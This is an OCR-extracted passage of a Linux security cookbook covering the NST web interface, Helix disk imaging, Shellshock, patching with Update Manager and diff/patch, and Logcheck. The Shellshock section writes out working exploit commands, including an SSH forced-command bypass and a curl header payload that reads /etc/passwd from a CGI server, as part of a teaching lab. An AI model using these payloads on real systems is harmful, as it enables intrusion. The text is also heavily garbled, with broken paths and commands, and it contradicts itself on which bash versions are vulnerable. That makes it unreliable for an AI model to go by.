Successfully updated password for 'root' in fetc/nst/httpd/conf/htuser.nst
Successfully updated password for 'nagiosadmin’ in fetc/mst/httpd/conf/htuser.ns

t

Successfully updated password for ‘root’ in fetc/BackupPC/apache.users
Successfully updated password for ‘root’ in fetc/webmin/miniserv.users
Successfully Added id dsa.pub to 'authorized keys' file for 'wpn'

Successfully Added id rsa.pub to 'authorized keys' file for 'wpn'

Successfully Updated 'authorized keys' file for 'vpn'

Successfully Set 'authorized keys' file owner and mode

Successfully updated password for 'root' in /root/.ssh

Successfully updated password for ‘root’ 1im /root/.vnc/passwd

Successfully updated password for ‘root/administrater’ in /etc/samba/smbpasswd

3.

Once the password has been set, we can access NST web user interface from any
browser of our choice. To access on the local system, we can use the address,
http://127.0.0.1:9980/nstwui.

If accessing from any other system on the local network, then use the IP address
of the system running NST.

User Name: |

Authentication Required

A username and password are being requested by http://127.0.0.1:9980. The site says:
il "NST WUI: System Management”

Password:

i@ Cancel ok

Once we open the link, we are prompted for the username and password. Enter the
details and click OK.
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4.

Now we see the landing page of NSTWUI. In the top left corner, we can see the details
of the system running NST. Below this, we have the menu of NST.

ccaldomain

We can also see information about how long the system has been running in the top
right corner.

NST comes with various tools and amongst those, is bandwidthd. This tool shows
an overview of network usage and we can enable it by going to the menu Network |
Monitors | bandwidthd Ul:

rment

ickage management B o

Once we click on "Start Bandwidthd", the tool will start running.

Another important feature available is the ability to perform a remote activity
via SSH using the web interface. Go to the menu System | Control Management |
Run command.
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A window will open as shown in the following image. We can run any command here.

Execute Linux Commands QI

[root@127.0.0.1 tmp) |5 | Change Working Dir |

8. NSTWUI also allows the administrator to remotely reboot or shut down the server
from the web interface. To do so, go to the menu System | Control Management
| Reboot.

9. Click on Proceed to reboot this NST system to confirm. Otherwise, click Exit
to cancel.

10. In the next screen, enter the text as shown and press Ok.

‘ ? Text Confirmation Dialog
e Confirm to Reboot this NST system (probe-enol6777736)?

To confirm please enter the following text: "nesez"

nesez

Ok Cancel

After installing or booting NST, the first step is to set the password for the existing user
account. This is done by using the option Set NST System Password.

After setting the password, we access NST through the web user interface by accessing the
IP address of the system through any browser.

After logging in to NSTWUI, we get a list of various tools related to network security.

We explore a few tools, such as bandwidthd and SSH.
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When performing forensic analysis, we have to look at the filesystem at a minute level and
analyze many things, such as the execution of programs, downloading of files, creation of
files, and so on.

In such situations, its best to create a forensic image of the disk to be analyzed as soon as
analysis starts. Helix is the best option for creating such images.

Helix is a Linux-based live CD used for the purpose of forensic investigation and incident
response.

Getting ready

Helix is available in both free and commercial forms, and its free version can be downloaded
from the following link:

http://www.e-fense.com/products.php

Once downloaded, we can either burn the image file on a CD/DVD, or else we can create a
bootable USB media.

How to do it?

To demonstrate the use of Helix, we can either install it on our system, or else we can use the
live CD/DVD or USB media, as follows:

1. To use Helix, we boot our system using the live CD of Helix. From the first screen that
appears, we select the option Boot into the Helix Live CD to directly boot Helix. You
can, however, use the option Install Helix if you wish to install Helix on the system.

HCLIX

Incident Response, Electronic Discovery, Computer Forensics Live CD

Pr 4 10 selec i art-up and installation modes.

F1 Help F2 L 3 Keuymap Fd Modes FS Ac lity F6 Other Options
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2. Now, the first step to perform during incident response is to create an image of the
hard disks/storage so that it can be investigated later. To create a bit-by-bit copy of
the hard disk, we will use a tool named Adepto available in Helix.

3. To open Adepto, go to the start menu and then under Forensics & IR, we get the tool.

@ Applications Places System @/ 0

_L Accessories 3

L. Forensics & IR » @ Adepto

_9_‘:- Graphics » @Autopsy
Internet » @- Eless Hex Editor

4. When Adepto starts, we get the main screen of the application. We can enter the
username or leave it blank and click on Go to continue.

5. The next screen shows information about the device we would like to copy. Select the
device from the drop-down menu and we get all the information about that device. In
our case, we have selected the USB device we want to copy.

Stan| Device Info | Acguire | Restare/Clone | Laog | |

e @ @ 8 ®

IDE UsSB Firewrire RAID CD/DVD Memory Smart
Stick Media
Device: h4 [Rescan Devices]

Make: |SanDisk

Model: |Cruzer Blade

Serial Humber: |4C530001271007108431

Size: ISUDS MBY<[a) <6207 36k

Size (Bytes): [a003256320vqa)

Sectors: |15531360

System Bus: |ush@2:2
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6.

198

Now we click on the Acquire tab at the top to continue. Now we need to provide the
source and destination information. Once done, press Start to continue:

Start | Device Info | Acquire | RestorerClone | Log |

— 3ource Information

Source Device: sdc sicl: SanDisk
- Model: Cruzer Blade
Image Mame: |sdcl-img.dd Size: 8003 MB
0=6f20736h

Image Motes:

— Destination Infonmation

Destination: # Attached . Metbios - Metcat

Mount Point; [/media/sdb] =

— Options
Type: 4 DCFLDD - AFF Hasho  wyps . | Sedment (ME):

I+

_I Use Advanced Options

Advanced

Input BS: I Cutput BE: I Count: I
Seek: I Skip: I Conv: |

Start... | |

Once we click on Start, we can see the progress just below the Start button,
as follows:

Started...10:40:44 PM Verify...10:40:48 PM Stopped...10:40:52 PM Start...| | |

The process details can be checked in the logs also, by clicking on the Log tab. In the
logs, we can see that the Hash verification of the source image was successful with
our device.
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Start

Device Info RestoredClone

Acquire

Log | Chain of Custady

9. Now, the next step is to clone the USB device we want to investigate. To do so, we
click on Restore/Clone tab. Enter the source and destination and press Clone

to start:

Start | Device Info | Acguire | Restore/Clone

Restore a Split Image

Choose the first image in an Image set (000):
Choose the destination device or file:
Destination Device:

OR

Restore

Clone a device

Choose source and Destination.

Source Device:
sdcl +

Clone

Log | Chain of Custody

Destination File:

[Rescan Devices]

Destination Device:
[ab1 E:
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10. We shall see the progress happening in the bottom. The process to clone takes time
and this may also depend on the size of the disk being copied as well as the system's

processing capabilities:

Progress
Brogr 1440. 00ME (1. 41GE) Avg. Throuvghput: 5. 45 3 Quit |

11. Once cloning is complete, we can verify the data in both the devices. We can see that
we have an exact image of the device we have cloned in our second USB device.

TI(L) » @l\:jv|- v Computer » TJ(G) »
Burn New folder J Organize = Share with « Burn New folder
g Narme 45 Favorites - Marne
. Sample Music Bl Desktop . Sample Music
. Sample Pictures & Downloads . Sample Pictures
= airtel.pdf 15 Recent Places =L airtel.pdf
) cloud bt . ownCloud . cloud bt
@J 15027001-20132-Complianceadsx ‘l?‘i] 15027001-2013-Compliancexdsx
"= Payment.pdf 4 Libraries "L Payment.pdf
A || textixt 4 3 Documents 1 || textxt
I > J‘. Music 3
* || Pictures
> E Videos

4 /M Computer
» &L, Local Disk (C3)
> = TI(D:)
- ) DVD RW Drive (E) HP Last

12. Adepto gives us the option to create a PDF report about the case of events that
happened during the cloning process.
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For this, click on Chain of Custody tab and then press Create PDF at the bottom.

Stan| Device Info | Acouire | Restore/Clone | Log | Chain of Custody

Chain of Custody ltems

Case Number: 20163501 Page:

HARD DRIVE/COMPUTER DETAILS

EVIDEHMCE CHAIN OF CUSTODY FORM - FOR FORENSIC IMAGES

of:

Trem#: De=cription:

Manufacturer: SanDisk |Mocel: Cruzer Blade |Serial: 4C530001271007108431

IMAGE DETAILS

Date/Time: 02/0416 |CreatedBy: root  |Method: defldd | Inage: sdcl-img.dd

Storage Drive: Hazh: Segments: 1

Create POF ..

Helix is used for forensic investigation and during this process, an essential task is to create

a forensic image of the hard disk being analyzed.

We have been through the Adepto tool to understand the process of creating an image of

a USB device following the preceding steps.
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Patching a Bash
Vulnerability

In this chapter, we will learn the following concepts:

» Understanding the bash vulnerability through Shellshock
» Shellshock's security issues
» The patch management system

» Applying patches on the Linux systems

Understanding the bash vulnerability

through Shellshock

Shellshock, or Bashdoor, is a vulnerability that's used in most versions of the Linux and
Unix operating systems. It was discovered on September 12, 2014, and it affects all the
distributions of Linux using a bash shell. The Shellshock vulnerability makes it possible
to execute commands remotely using environment variables.

Getting Ready

To understand Shellshock, we need a Linux system that uses a version of bash prior to 4.3,
which is vulnerable to this bug.
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How to do it...

In this section, we will take a look at how to set up our system to understand the internal
details of the Shellshock vulnerability:

1. The first step is to check the version of bash on the Linux system so that we can
figure out whether our system is vulnerable to Shellshock. To check the version
of bash, we run this command:

root@client:~# bash --version

GNU bash, version 4.2.25(1)-release (i686-pc-linux-gnu)

Copyright (C) 2011 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html=>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
root@client:~# I

Bash versions from 4.3 and onwards have been reported to be vulnerable to
Shellshock. For our example, we are using the Ubuntu 12.04 LTS desktop version.
From the output shown in the preceding image, we can see that this system is
vulnerable.

2. Now, let's check whether the vulnerability actually exists or not. To do so, we run
this code:

root@client:~# env x="() { ::}; echo shellshock' bash -c "echo testing"
shellshock

testing
root@client:~#

Once we run the preceding command, if the output has shellshock printed, the
vulnerability is confirmed.

3. Let's understand the insights of the vulnerability. For this, we first need to understand
the basics of the variables of the bash shell.

4. If we want to create a variable named testvar in bash and store a shellshock
value in it, we run this command:

testvar=""shellshock''
Now, if we wish to print the value of this variable, we use the echo command,
as shown here:

echo $testvar
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5. We shall open a child process of bash by running the bash command. Then, we again
try to print the value of the testvar variable in the child process:

testvar="shellshock"
echo Stestvar

root@client:
root@client:
shellshock

root@client:

bash
bash
echo Stestvar

root@client:
root@client:

root@client:

We can see that we don't get any output when we try to print the value in the
child process.

6. Now, we shall try to repeat the preceding process using the environment variables
of bash. When we start a new shell session of bash, a few variables are available
for use, and these are called environment variables.

7. To make our testvar variable an environment variable, we will export it. Once it's
exported, we can use it in the child shell as well, as shown here:

root@client:
root@client:
shellshock

root@client:
root@client:
shellshock

root@client:

export testvar="shellshock"
echo Stestvar

bash
echo Stestvar

8. As we have defined variables and then exported them, in the same way, we can
define a function and export it in order to make it available in the child shell. The
following steps show how you can define a function and export it:

root@client:
root@client:

shellshock

root@client:

root@client:
root@client:
shellshock

root@client:

x() { echo 'shellshock';}
X

export -f x
bash
X

In the preceding example, the x function has been defined, and it has been exported
using the - £ flag.
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9. Now, let's define a new variable, name it testfunc, and assign it a value,
as shown here:

testfunc="''() { echo ''shellshock'';}'"'
The preceding variable can be accessed in the same way as a regular variable:
echo $testfunc

Next, we will export this variable to make it into an environment variable and
then try to access it from the child shell, as shown here:

root@client:~# export testfunc='() { echo 'shellshock';}'
root@client:~# echo S$testfunc

() { echo shellshock;}

root@client:~# testfunc

testfunc: command not found
root@client:~# bash
root@client:~# testfunc
shellshock

root@client:~#

Something unexpected has taken place in the preceding result. In the parent shell,
the variable is accessed as a normal variable. However, in the child shell, it gets
interpreted as a function and executes the body of the function.

10. Next, we shall terminate the definition of the function and then pass any arbitrary
command to it.

root@client:~# export testfunc='() { echo 'shellshock';}; echo "Vulnerable"'
root@client:~# bash
Vulnerable

root@client:~# testfunc
shellshock
root@client:~#

In the preceding example, as soon as we start a new bash shell, the code that was defined
outside the function is executed when bash is started.

This is the vulnerability in the bash shell.

We first check the version of bash running on our system. Then, we run a well-known code
to confirm whether the Shellshock vulnerability exists.

To understand how the Shellshock vulnerability works, we create a variable in bash and then
try to export it to the child shell and execute it there. Next, we try to create another variable
and setitsvalueas '' () { echo ''shellshock'';}''.After doing this, when we
export this variable to the child shell and execute it there, we see that it gets interpreted

as a function in the child shell and executes the body of it.
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This is what makes bash vulnerable to Shellshock, where specially crafted variables can be
used to run any command in bash when it is launched.

Shellshock's security issues

In this era where almost everything is online, online security is a major concern. These days,
a lot of web servers, web-connected devices, and services use Linux as their platform. Most
versions of Linux use the Unix bash shell, so the Shellshock vulnerability can affect a huge
number of websites and web servers.

In the previous recipe, we took a look at the details of the Shellshock vulnerability. Now,
we will understand how this bug can be exploited through SSH.

Getting Ready

To exploit the Shellshock vulnerability, we need two systems. The first system will be used as
a victim and should be vulnerable to Shellshock. In our case, we will use an Ubuntu system as
the vulnerable system. The second system will be used as an attacker and can have any Linux
version running on it. In our case, we will run Kali on the second system.

The victim system will run the openssH-server package. It can be installed using this
command:

apt-get install openssh-server

We will configure this system as a vulnerable SSH server to show how it can be exploited using
the Shellshock bug.

How to do it...

To take a look at how the Shellshock bug can be used to exploit an SSH server, we need to
first configure our SSH server as a vulnerable system. To do this, we will follow these steps:

1. The first step is to add a new user account called user1 on the SSH server system.
We will also add /home /user1 as its home directory and /bin/bash as its shell:

root@client:~# useradd -d fhomefuserl -s /bin/bash useri1
root@client:~#

root@client:~# cat fetc/passwd | grep 'userl’
:x:1001:1001:: fhome/ :/bin/bash
root@client:~# I

Once the account has been added, we cross check by checking the /etc/passwd
file.
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2.

3.

208

Next, we create a directory for user1 in /home and grant the ownership of this
directory to the user1 account.

root@client: fhome# mkdir user1l
root@client: fhome# chown -R userl fhome/useril/

Now, we need to authenticate the attacker to log in to the SSH server using
authorization keys. To do this, we will first generate these authorization keys
on the attacker's system using this command:

We can see that the public/private keys have been generated.

After generating the authorization keys, we will send the public key to the remote SSH
server over SFTP. First, we copy the id_rsa.pub public key file to Desktop, and
then we run the command to connect to the SSH server using SFTP.

92 ] bE EIeElg)

/id_rsa.pub
100%

When connected, we transfer the file using the put command.

On the victim SSH server system, we create a. ssh directory inside /home /useril/,
and then we write the content of the id_rsa.pub file to authorized keys inside
the /home/userl/.ssh/ directory:

root@client:~# mkdir /home/user1/.ssh

root@client:~# cat id_rsa.pub > /home/useri/.ssh/authorized_keys
root@client:~#
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After this, we edit the configuration file of SSH, etc/ssh/sshd _config, and
enable the PublicKeyAuthentication variable. We also check whether
AuthorizedKeysFile has been specified correctly:

RSAAuthentication yes
PubkeyAuthentication yes

AuthorizedKeysFile %h/.sshfauthorized keys

Once the preceding steps are successfully completed, we can try to log in to the SSH
server from the attacker system to check whether we are prompted for a password
or not:

imentation: https

68.1.1060

Now, we will create a basic script, which will display the restricted message if a user
tries to pass the date command as an argument. However, if anything other than
date is passed, it will get executed. We will name this script sample. sh:

echo 'restricted'

echo uS@n

Once the script is created, we run this command to give executable permissions to it:

chmod +x sample.sh
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10. After this, we use the command option in the authorized_ keys file to run our

sample. sh script by adding the path of the script, as shown here:

command="/homefuser1/.ssh/sample.sh" ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQDEVDN
OIorytrSm20a8TGlY719mt9x9705GbirdimEAODBey4iEewLicnub7wmLIRZF1zaQp9peXTU+750EZJ0
1jdzLgT1qUb/TYNes7Tvw64D7yWih5U+6XdXUAjqG/BvAhbacDk78sw+tVgfim4TcdzB4viW3NBIOFCRM

7e5UHpRr3Q1+bi0kZ2FzulZYGNbIgjYVKARh jFHVUMSCFTOBMrVIyOWorvzAZVTNYu7X9riFjPCaK53x
D6NzT4ffDCuJKi19AZO+f01cd+NjT5HZPVmZGla6WmNwe49EGE6q6W+IhwUhNnOCcksCf1xNgHM+Tel/g

ELAR3t1lZZiv5j1TqT root@kali

11.

12.

Making the preceding changes in the authorized keys file in order to restrict
a user from executing a predefined set of commands will make the Public key
authentication vulnerable.

Now, from the attacker's system, try connecting to the victim's system over SSH while
passing date as the argument.

/Desktop# ssh userl@l92.168.1.101 date

We can see the restricted message is displayed because of the script that we added
to the authorized keys file.

Next, we try to pass our Shellshock exploit as an argument, as shown here:

:~/Desktop# ss 1@l9z.168.1.181 '() {

We can see that even though we have restricted the date command in the script,
it gets executed this time, and we get the output of the date command.

Let's take a look at how to use the Shellshock vulnerability to compromise an Apache server,
which runs any script that can trigger the bash shell with environment variables:

1.

If Apache is not already installed on the victim's system, we install it first using
this command:

apt-get install apache2

Once installed, we launch Apache server using this command:

service apache2 start
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2. Next, we move to the /usr/1lib/cgi-bin/ path and create an example. sh script
with the following code in it in order to display some HTML output:

#!/bin/bash
echo 'Content-type:text/html’

echo
echo 'Example Page'

We then make it executable by running this command:

chmod +x example.sh

3. From the attacker's system, we try to access the example. sh file remotely using a
command-line tool called curl:

i~/Desktop# curl http://182.168.1.10! obi ample.sh

:~/Desktop# I

We get the output of the script as expected, which is Example Page.

4. Now, let's send a malicious request to the server using curl to print the content of the
/etc/passwd file of the victim's system by running this command:

curl -A ''() { :;}; echo ""Content-type: text/plain""; echo; /bin/
cat /etc/passwd http://192.168.1.104/cgi-bin/example.sh

We can see the output in the attacker's system, showing us how the victim's system
can be remotely accessed using the Shellshock vulnerability. In the preceding
command, () { :;} ; signifies a variable that looks like a function. In this code,
the function is a single :, which does nothing and is only a simple command.
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5. We try another command, as shown here, to take a look at the content of the current
directory of the victim's system:

We see the content of the root directory of the victim's system in the preceding output.

On our SSH server system, we create a new user account and assign the bash shell to it as
its default shell. We also create a directory for this new user account in /home and assign
its ownership to this account.

Next, we configure our SSH server system to authenticate another system, connecting to it
using authorization keys.

We then create a bash script to restrict a particular command, such as date, and add this
script path to authorized keys using the command option.

After this, when we try to connect to the SSH server from the other system whose
authorization keys were configured earlier, we'll notice that if we pass the date command as
an argument when connecting, the command gets restricted.

However, when the same date command is passed with the Shellshock exploit, we see the
output of the date command, thus showing us how Shellshock can be used to exploit the
SSH server.

Similarly, we exploit the Apache server by creating a sample script and placing it in the
/usr/1ib/cgi-bin directory of the Apache system.

Then, we try to access this script from the other system using the curl tool.

You'll notice that if we pass a Shellshock exploit when accessing the script through curl,
we are able to run our commands on the Apache server remotely.

The patch management system

In present computing scenarios, vulnerability and patch management are part of a never-
ending cycle. When a computer is attacked due to a known vulnerability for the purpose of
being exploited, the patch for such a vulnerability already exists; however, it has not been
implemented properly on the system, thus causing the attack.
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As a system administrator, we have to know which patch needs to be installed and which one
should be ignored.

Getting ready

Since patch management can be done using the inbuilt tools of Linux, no specific settings
need to be configured before performing the steps.

How to do it...

The easiest and most efficient way to keep our system updated is using Update Manager,
which is built into the Linux system. Here, we will explore the workings of Update Manager in
the Ubuntu system:

1. To open the graphical version of Update Manager in Ubuntu, click on Superkey,
which is on the left-hand side in the toolbar, and then type update. Here, we can
see Update Manager:

® | ® update| "

’ Fii Applications
—

r 3 Update Gwibber Social
- | Manager Client
L
| |

T

2. When we open Update Manager, the following dialog box will appear, showing you
the different security updates available for installation:

. Software updates are available For this computer.

% Software updates correct errors, eliminate security vulnerabilities and
provide new features.

= Important security updates

scripts For handling many ACPI events
acpi-support (Size: 22 kB)

@ User-space parser utility for AppArmor
i 334updates have been selected. 421.9 MB will be downloaded.
| check | InstallUpdates|

Select the updates you want to install, and click on Install Updates to proceed.
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3.

5.
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In the same window, we have the Settings button in the bottom-left. When we click
on it, a new Software Sources window will appear, which has more options to
configure Update Manager.

The first tab reads Ubuntu Software, and it displays a list of repositories needed to
download updates. We choose the options from the list as per our requirements:

2 Software Sources

Ubuntu Software | Other Software Updates Authentication Statistics
Downloadable from the Internet
§ Canonical-supported free and open-source software (main)
& Community-maintained free and open-source software (universe)
& Proprietary drivers for devices (restricted)
& software restricted by copyright or legal issues (multiverse)

B source code

Download from: | Server for India %

Installable from CD-ROM/DVD

~ Cdrom with Ubuntu 12.04 'Precise Pangolin’
Officially supported
Restricted copyright

Revert || (Close |

If we click on the Download from option, we get an option to change the repository
server that's used for the purposes of downloading. This option is useful in case we
have any problem connecting to the currently selected server or the server is slow.

- Software Sources

Ubuntu Software | Other Software Updates = Authentication | Statistics

Downloadable from the Internet
[ Canonical-supported free and open-source software (main)
[ Community-maintained Free and open-source software (universe)
[ Proprietary drivers For devices (restricted)
[ Software restricted by copyright or legal issues (multiverse)

& source code Main server

Download from: | server for India

Cdrom with Ubuntu 12.04 'Precise Pangolin'
Officially supported
Restricted copyright

| Revert || Close |
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6. From the drop-down list, when we select the Other... option, we get a list to select the
server we need, as shown in the following image:

™ Choose a Download Server

> Greenland |Select Best Server |
» Hong Kong
» Hungary
» Iceland |
pida |
ftp.iitb.ac.in
ftp.iitm.ac.in
mirror.cse.iitk.ac.in
ubuntu.excellmedia.net

Protocol: v

| cancel || chooseServer

7. The next Other Software tab is used to add partner repositories of Canonical:

Ubuntu Software | Other Software | Updates | Authentication | Statistics

™ Canonical Partners
Software packaged by Canonical for their partners

— Canonical Partners (Source Code)
Software packaged by Canonical For their partners

Independent
Provided by third-party software developers

& Independent (Source Code)
Provided by third-party software developers

Add... Edit... Remove Add Volume...

8. We can choose any option from the list shown in the preceding image, and click on
Edit to make changes to the repository details, as shown here:

™ Edit Source
Type: | Binary |

URE: | http://archive.canonical.com/ubuntu

Distribution: | precise

Components: | partner

Comment:

| cancel \| OK
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9. The Updates tab is used to define how and when the Ubuntu system receives updates:

[ Software Sources

Ubuntu Software  Other Software | Updates | Authentication | Statistics

Install updates from:
[ Important security updates (precise-security)
[ Recommended updates (precise-updates)
| Pre-released updates (precise-proposed)

& Unsupported updates (precise-backports)

Automatically check for updates: | Daily v
When there are security updates: | Display immediately v
When there are other updates: | Display weekly v

Notify me of a new Ubuntu version: | For long-term supportversions | v

| Revert || Close |

10. The Authentication tab contains details about the authentication keys of the
software providers as obtained from the maintainer of the software repositories:

< Software Sources

Ubuntu Software | Other Software | Updates Authentication | Statistics

Trusted software providers

437D05B5 2004-09-12
Ubuntu Archive Automatic Signing Key <ftpmaster@ubuntu.com>

FBB75451 2004-12-30
Ubuntu €D Image Automatic Signing Key <cdimage@ubuntu.com>

COB21F32 2012-05-11
Ubuntu Archive Automatic Signing Key (2012) <ftpmaster@ubuntu.com>

EFE21092 2012-05-11
Ubuntu €D Image Automatic Signing Key (2012) <cdimage@ubuntu.com=

3E5C1192 2010-09-20
Ubuntu Extras Archive Automatic Signing Key <ftpmaster@ubuntu.com>

Import Key File... Remove Restore Defaults

| Revert || cClose |
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11. The last tab is Statistics, which is available for users who would like to anonymously
provide data to the Ubuntu developer project. This information helps a developer
increase the performance and improve the experience of the software.

M Ssoftware Sources

Ubuntu Software Other Software Updates | Authentication | Statistics

Submit statisticalinformation

To improve the user experience of Ubuntu please take part in the popularity
contest. If you do so the list ofinstalled software and how often it was used
will be collected and sent anonymously to the Ubuntu project on a weekly
basis.

The results are used to improve the support for popular applications and to
rank applications in the search results.

Revert || Close

12. After making changes under any of these tabs, when we click on Close, we are
prompted to confirm whether the new updates should be shown in the list or not.
Click on Reload or Close:

0 The information about available software is out-of-date

To install software and updates from newly added or changed sources, you have to
reload the information about available software.

You need a working internet connection to continue.

@Reloadl | Close
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13. If we want to check the list of locations from which Update Manager retrieves all the
packages, we can check the content of the /etc/apt/sources.list file. We will
then get this result:

#deb cdrom:[Ubuntu 12.04.4 LTS _Precise Pangolin_ - Release 1386 (20140204)]/ p$

# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
# newer versions of the distribution.
) http://in.archive.ubuntu.com/ubuntu/ main restricted
src http://in.archive.ubuntu.com/ubuntu/ main restricted

## Major bug Tix updates produced after the final release of the
distribution.
) http://in.archive.ubuntu.com/ubuntu/ main restricted
src http://in.archive.ubuntu.com/ubuntu/ main restricted

To update our Linux system, we use the built-in Update Manager as per the Linux distribution.

In the update manager, we either install all the updates available, or else, we configure it as
per our requirements using the Settings window.

In the Settings window, we have option to display a list of repositories from where the updates
can be downloaded.

The second tab in the Settings window lets us add the third-party partner repositories
of Canonical.

Using the next tab, we can specify when and what kind of updates should be downloaded.
We also check the authentication keys of the software providers using the settings window.

The last tab, Statistics, helps send data to Ubuntu project developers in order to improve the
performance of the software.

Applying patches on the Linux systems

Whenever a security vulnerability is found in any software, a security patch is released for the
software so that the bug can be fixed. Normally, we use Update Manager, which is built into
Linux, to apply security updates. However, for software that is installed by compiling source
code, Update Manager may not be as helpful.

For such situations, we can apply the patch file to the original software's source code and
then recompile the software.
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Getting ready

Since we will use the built-in commands of Linux to create and apply a patch, nothing needs
to be done before starting the following steps. We will be creating a sample program in C to
understand the process of creating a patch file.

How to do it...

In this section, we will take a look at how to create a patch for a program using the diff
command, and then we will apply the patch using the patch command.

1. The first step will be to create a simple C program, called example.c, to print This
is an example, as shown here:

#include <stdio.h>

main()

{
printf("This is an example\n");

}

2. Now, we will create a copy of example.c and name it example new.c.

3. Next, we edit the new example new. c file to add a few extra lines of code
to it, as shown here:

#include <stdio.h>

LER T argc)

{
printf("This is an example\n");

0;

4. Now, example new.c can be considered as the updated version of example. c.

5. We will create a patch file and name it example.patch using the diff command:

root@client:~# diff -u example.c example_new.c > example.patch

root@client:~# I
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If we check the content of the patch file, we get this output:

root@client:~# cat example.patch

--- example.c 2016-02-11 12:18:15.244513862 +0530

+++ example_new.c 2016-02-11 12:20:22.764520304 +0530
@@ -1,9 +1,11 @@

#include <stdio.h=>

-int main()
+int main(int argc)

{
printf("This is an example\n");

+return 0;
+

}

Before applying the patch, we can back up the original file using the -b option.

root@client:~# patch -b < example.patch

patching file example.c

root@client:~# 1s

example.c example.c.orig example_new.c example.patch
root@client:~#

You will notice that a new example.c.orig file has been created, which is the
backup file.

Before performing the actual patching, we can dry run the patch file to check whether
we get any errors or not. To do this, we run this command:

root@client:~# patch --dry-run < example.patch

patching file example.c

If we don't get any error message, it means the patch file can be now run on the
original file.

Now, we will run the following command to apply the patch to the original file:
patch < example.patch
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10. After applying the patch, if we now check the content of the example. c program,
we will see that it has been updated with some extra lines of code, as written in
example new.c:

root@client:~# cat example.c
#include <stdio.h>

int main(int argc)

{

printf("This is an example\n");
return 0;

}

11. Once the patch has been applied to the original file, if we wish to reverse it, this can
be done using the -R option:

root@client:~# patch < example.patch

patching file example.c

root@client:~#

root@client:~# 1s -1 example.c

-rwWw-r--r-- 1 root root 89 Feb 11 12:24 example.c

root@client: ~#

root@client:~# patch -R < example.patch

patching file example.c

root@client:~# 1s -1 example.c

-rwWw-r--r-- 1 root root 70 Feb 11 12:27 example.c

We can see the difference in the size of the file after patching and then reversing it.

We first create a sample C program. Then, we create its copy, and add few more lines of code
to make it the updated version. After this, we create a patch file using the di ££ command.
Before applying the patch, we check it for any errors by doing a dry run.

If we get no errors, we apply the patch using the patch command. Now, the original file will
have the same content as the updated version file.

We can also reverse the patch using the -R option.
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Security Monitoring
and Logging

In this chapter, we will discuss the following topics:

» Viewing and managing log files using Logcheck
» Monitoring a network using Nmap

» Using glances for system monitoring

» Monitoring logs using MultiTail

» Using system tools - Whowatch

» Using system tools - stat

» Using system tools - Isof

» Using system tools - strace

» Using Lynis

Viewing and managing log files using

Logcheck

As an administrator, while checking for malicious activities on the system or any software
issue, log files play a very important role. However, with an increasing amount of software,
the number of log files being created has also increased. This makes it very difficult for the
administrator to analyze log files properly.

In such scenarios, Logcheck is a good tool to help administrators analyze and scan log files.
Logcheck scans logs for interesting lines as per its documentation. These lines mainly refer
to security issues that have been detected by the tool.
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Getting ready

No specific requirements are needed to use Logcheck on a Linux system.

How to do it...

In this section, we will take a look at how to install and configure Logcheck as per our
requirements:

1.

The first step is to install the package using the command shown in the following
screenshot:

root@client:~# apt-get install logcheck

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following extra packages will be installed:
libipc-signal-perl libmime-types-perl libproc-waitstat-perl
logcheck-database logtail mime-construct postfix

Suggested packages:
syslog-summary procmail postfix-mysqgl postfix-pgsql postfix-ldap
postfix-pcre sasl2-bin dovecot-common postfix-cdb postfix-doc

The following MEW packages will be installed:
libipc-signal-perl libmime-types-perl libproc-waitstat-perl logcheck
logcheck-database logtail mime-construct postfix

® upgraded, 8 newly installed, ® to remove and 330 not upgraded.

During the installation, a window will open and show you information about selecting
a mail server configuration type, as shown in the following screenshot:

]

| Postfix Configuration |

Please select the mail server configuration type that best meets your
needs.

No configuration:

Should be chosen to leave the current configuration unchanged.
Internet site:

Mail is sent and received directly using SMTP.

Internet with smarthost:

Mail is received directly using SMTP or by running a utility such

as fetchmail. Outgoing mail is sent using a smarthost.
Satellite system:

ALl mail is sent to another machine, called a 'smarthost', for
delivery.

Local only:

<0k>

3. Click on Ok to continue.
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4. Inthe next window, select Internet Site, and then select Ok to continue.

———— Postfix Configuration pb———

General type of mail configuration:

No confiiuration

Internet with smarthost
Satellite system
Local only

<0k> <Cancel=>

5. After the installation has completed, we need to make changes to the
/etc/logcheck/logcheck. conf configuration file.

6. The first thing to edit in the configuration file is the format of the date/time stamp,
which is used in the subject of the mail sent by Logcheck.

# Controls the format of date-/time-stamps in subject lines:
# Alternatively, set the format to suit your locale

DATE="S(date +'%Y-%m-%d %H:%M')"

7. Next, we can change the value of the REPORTLEVEL variable in order to control
filtering of the logs as per our requirement. We have three options available for this,
and by default, the value is set to server.

# Controls the level of filtering:
# Can be Set to "workstation", "server" or "paranoid" for different
# levels of filtering. Defaults to server if not set.

REPORTLEVEL="server"

The workstation value filters most of the messages and is less verbose. The
paranoid value is useful for systems with high security. It runs as few services
as possible, and is more verbose.

8. After this, we change the value of the SENDMAILTO variable and provide our e-mail
address to it to receive logs on our e-mail ID.

# Controls the address mail goes to:
# *NOTE* the script does not set a default value for this variable!
# Should be set to an offsite "emailaddress@some.domain.tld”

SENDMAILTO="1logcheck"
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9. The mail generated by Logcheck uses different subject lines for different events. If we
wish to modify these subject lines, we can edit the value of the variables shown here:

# Controls Subject: lines on logcheck reports:

HATTACKSUBJECT="Security Alerts"
#SECURITYSUBJECT="Security Events"
H#EVENTSSUBJECT="System Events"

10. Logcheck, by default, uses the /etc/logcheck/logcheck. logfiles file to
maintain a list of log files to be monitored by it. If we wish to use any other file to
define the list and if it is in another location, we can edit the RULEDIR variable
to define the new path.

# Controls the base directory for rules file location
# This must be an absolute path

#RULEDIR="/etc/logcheck"

11. If we want Logcheck to monitor any particular file apart from what is already defined
inthe /etc/logcheck/logcheck.logfiles file, we can add an entry in it,
as shown here:

# these files will be checked by logcheck
# This has been tuned towards a default syslog install

12. In the preceding file, we added the /var/log/boot . log line.

We first install the Logcheck package, and after the installation, we edit its configuration
/etc/logcheck/logcheck. conf file.

In the configuration file, we change the format of the date/time stamp for logs and also the
filtering by modifying the REPORTLEVEL variable.

Next, we edit the SENDMAILTO variable, and enter our e-mail ID to receive the logs.

Using the etc/logcheck/logcheck.logfiles file, we define the logs to be monitored
by Logcheck.
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Monitoring a network using Nmap

For any network that is either big or small, network monitoring and security is a very essential
task. Regular monitoring of the network is important to protect systems from attacks and also
to keep viruses and malware out of a network.

